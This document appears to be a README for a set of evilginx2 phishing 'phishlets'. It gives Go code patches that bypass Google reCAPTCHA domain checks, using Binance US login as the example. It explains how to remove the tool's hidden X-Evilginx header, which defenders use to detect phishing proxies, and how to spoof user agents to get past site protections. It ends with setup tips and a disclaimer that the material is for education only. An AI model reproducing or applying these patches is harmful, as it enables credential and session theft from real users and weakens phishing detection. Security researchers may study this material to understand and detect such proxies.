- Always Use Debug Mode in evilginx During Testing
- Not Everything is Working Here, Use these Phishlets to learn and to Play with Evilginx.
- Be Creative when it comes to bypassing protection.
- Javascript Injection can fix a lot of issues and will make your life easier during phishing engagements.
Google Recaptcha Bypass by @Desire
- Google recaptcha encodes domain in base64 and includes it in
co
parameter in GET request. - For Example in Binance us Login.
https://www.google.com/recaptcha/enterprise/anchor?ar=1&k=6LePlpgbAAAAAPlPfzzXnJ1lrMTqRWgouzDcSd3b&co=aHR0cHM6Ly9hY2NvdW50cy5iaW5hbmNlLnVzOjQ0Mw..&hl=en&v=vP4jQKq0YJFzU6e21-BGy3GP&size=invisible&cb=knko72z68i8y
- Here the parameter
co
contains stringco=aHR0cHM6Ly9hY2NvdW50cy5iaW5hbmNlLnVzOjQ0Mw..
which is the base64 encoding ofhttps://accounts.binance.us:443
- We can modify this to
https://accounts.anydomain.com:443
and encode it in base64aHR0cHM6Ly9hY2NvdW50cy5hbnlkb21haW4uY29tOjQ0Mw
and replace the parameter with this new value. - We should be able to bypass the google recaptcha.
- Here is the work around code to implement this. Replace the code in evilginx2
core/http_proxy.go
line 409
// patch GET query params with original domains & bypass recaptcha
if pl != nil {
qs := req.URL.Query()
if len(qs) > 0 {
for gp := range qs {
for i, v := range qs[gp] {
qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
if qs[gp][i] == "aHR0cHM6Ly9hY2NvdW50cy5iaW5hbmNlLnVzOjQ0Mw.." { // https://accounts.binance.us:443
qs[gp][i] = "aHR0cHM6Ly9hY2NvdW50cy5hbnlkb21haW4uY29tOjQ0Mw" // https://accounts.anydomain.com:443
}
}
}
req.URL.RawQuery = qs.Encode()
}
}
- Evilginx2 contains easter egg code which adds a
X-Evilginx
header with each request. - This header contains the Attacker Domain name. So it can be used for detection.
- To remove the Easter egg from evilginx just remove/comment below mentioned lines from the
core/http_proxy.go
file.
// Line 183
egg2 := req.Host
// Line 350
hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
// Line 407
req.Header.Set(string(hg), egg2)
// Line 377 to 379
for n, b := range hg {
hg[n] = b ^ 0xCC
}
// Line 562 to 566
e := []byte{208, 165, 205, 254, 225, 228, 239, 225, 230, 240}
for n, b := range e {
e[n] = b ^ 0x88
}
req.Header.Set(string(e), e_host)
// Line 1456 to 1462
func (p *HttpProxy) cantFindMe(req *http.Request, nothing_to_see_here string) {
var b []byte = []byte("\x1dh\x003,)\",+=")
for n, c := range b {
b[n] = c ^ 0x45
}
req.Header.Set(string(b), nothing_to_see_here)
}
// Line 580
p.cantFindMe(req, e_host)
- Few sites have protections based on user agent, and relaying on javascript injections to modify the user agent on victim side may break/slow the attack process.
- Custom User Agent Can be Added on the fly by replacing the
User-Agent
Header in each requests. - Below is the work Around Code to achieve this. You can add code in evilginx2
core/http_proxy.go
file below line 395.
// Replace Any User Agent With Firefox UserAgent
useragent := req.Header.Get("User-Agent")
if useragent != "" {
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0")
log.Debug("[%d] Injected User Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/96.0 ", ps.Index)
}
METHOD 1 :-
- Follow These Commands & Then Try Relaunching Evilginx
sudo service systemd-resolved stop
nano /etc/resolv.conf
- Then change nameserver 127.x.x.x to nameserver 8.8.8.8
- Then save the file (By pressing CTRL+X and pressing Y followed by enter)
METHOD 2 :-
- Check if All the neccessary ports are not being used by some other services.
- Ports Like: 80, 53, 443
- Find Those Ports And Kill those Processes
sudo netstat -ptnl | grep 53
sudo kill PID
- Where PID is Process ID
- Similarly Find And Kill Process On other Ports That are in use.
- Now Try To Run Evilginx and get SSL certificates
- Regarding phishlets for Penetration testing.
- Help with phishlet issues or anything.
- Can Help regarding projects related to Reverse Proxy.
- Contact Me on telegram: https://t.me/its_udy (This is the only account belong to me)
- Please be aware of anyone impersonating my handle ( @an0nud4y is not my telegram handle)
- You can also contact me on twitter (https://an0nud4y.com)
- DEVELOPER WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THE PHISHLETS. THESE PHISHLETS ARE ONLY FOR TESTING/LEARNING/EDUCATIONAL/SECURITY PURPOSES.
- DEVELOPER DO NOT SUPPORT ANY OF THE ILLEGAL ACTIVITIES.
- RELEASED THE WORKING/NON-WORKING PHISHLETS JUST TO LET OTHERS LEARN AND FIGURE OUT VARIOUS APPROACHES.